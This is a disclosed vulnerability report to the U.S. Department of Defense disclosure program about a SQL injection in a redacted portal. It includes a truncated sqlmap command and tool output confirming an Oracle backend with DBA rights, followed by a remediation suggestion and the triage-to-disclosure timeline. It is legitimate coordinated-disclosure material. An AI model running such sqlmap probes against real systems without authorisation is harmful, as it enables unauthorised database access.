38

SQL Injection vulnerability located at [redacted]

Share:

State	Resolved (Closed)
Disclosed	**August 15, 2019 10:38pm +0530**
Reported To	U.S. Dept Of Defense
Weakness	SQL Injection
Severity	High (7 ~ 8.9)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

rootaccess submitted a report to U.S. Dept Of Defense. Jul 20th (about 1 year ago)

Summary:

I have found a SQL Injection at [redacted] in the [redacted] Portal.

Description:

The SQL injection is being caused by the unsanitized parameter of `_itemID=` i immediately stopped testing when i verified it was possible to get the Current user and version of the Database.

1.The vulnerable url is :

`https://[redacted]/[redacted]Portal/[redacted]?_[redacted]=true&_st=&_pageLabel=[redacted]_[redacted]_pubview_page&CCD_itemID=201826*`

1. use sqlmap (https://github.com/sqlmapproject/sqlmap) with the following command

```
python sqlmap.py -u "https://[redacted]/[redacted]Portal/[redacted]?_[redacted]=true&_st=&_pageLabel=[redacted]_[redacted]_pubview_page&CC
```

sqlmap output :

```
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: https://[redacted]:443/[redacted]Portal/[redacted]?_[redacted]=true&_st=&_pageLabel=[redacted]_[redacted]_pubview_page&CCD_itemID=2018

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: https://[redacted]:443/[redacted]Portal/[redacted]?_[redacted]=true&_st=&_pageLabel=[redacted]_[redacted]_pubview_page&CCD_
---
[22:37:56] [INFO] testing SAP MaxDB
[22:37:57] [WARNING] the back-end DBMS is not SAP MaxDB
[22:37:57] [INFO] testing MySQL
[22:37:58] [WARNING] the back-end DBMS is not MySQL
[22:37:58] [INFO] testing Oracle
[22:37:59] [INFO] confirming Oracle
[22:38:01] [INFO] the back-end DBMS is Oracle
web application technology: Apache, Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle
[22:38:01] [INFO] fetching current user
current user:    [redacted]
[22:38:02] [INFO] testing if current user is DBA
current user is DBA:    True
```

Screenshot

{F322498}

Suggested Mitigation/Remediation Actions

Sanitize the parameter of `_itemID=` through the use of prepared statements, or other forms of sanitizing.

Impact

It could be possible for an attacker to Retrieve data, and depending of the data being stored in the database(passwords) it could be possible to further pivot, and get RCE since the current user in the database has DBA rights.

BOT: U.S. Dept Of Defense posted a comment. Jul 20th (about 1 year ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

ag3nt-j1 updated the severity to High. Jul 20th (about 1 year ago)

ag3nt-j1 changed the status to ○ **Triaged**. Jul 20th (about 1 year ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

rootaccess posted a comment. Aug 14th (about 1 year ago)

Hey Team,
It has been 25 days now, could i get a status update ?

ag3nt-j1 closed the report and changed the status to ○ **Resolved**. Dec 12th (10 months ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

rootaccess posted a comment. Jan 17th (9 months ago)
Can we disclose this ? its a pretty cool find :)

rootaccess posted a comment. Mar 8th (7 months ago)
Can we disclose this ?

deez_nops posted a comment. Mar 8th (7 months ago)
@rootaccess Not until we've received authorization. Its in queue.

rootaccess posted a comment. Mar 9th (7 months ago)
Thats fine thanks for the reply.

ag3nt-j1 posted a comment. Jul 11th (3 months ago)
@rootaccess, can you request disclosure on this report for me? It should be one of the selections on the dropdown where you would comment on a report. Once you do that I'll work on redacting some of the information in the report before fully disclosing it to the public.

rootaccess requested to disclose this report. Jul 11th (3 months ago)
Thanks i requested it!

ag3nt-j1 posted a comment. Aug 8th (2 months ago)
@rootaccess sorry for the with there, this completely fell off my plate. Once the folks at H1 delete the attachment I will finish disclosing for you, I've already completed the redaction I needed to do so it shouldn't be too much longer a wait.

rootaccess posted a comment. Aug 15th (2 months ago)
ok cool waiting for it thanks

rootaccess posted a comment. Aug 15th (2 months ago)
@ag3nt-j1 did you already asked the peeps at h1 to delete the attachment ?

ag3nt-j1 posted a comment. Aug 15th (2 months ago)
Sure did, last week during hacker summer camp and again yesterday afternoon. I'll ping them again later today. One of the limitations of H1 from a management perspective is I can't delete attachments myself, I have to reach out to H1 for that kind of action. Sometimes it takes a few days as they are managing a ton of other projects in their platform.

ag3nt-j1 agreed to disclose this report. Aug 15th (2 months ago)

This report has been disclosed. Aug 15th (2 months ago)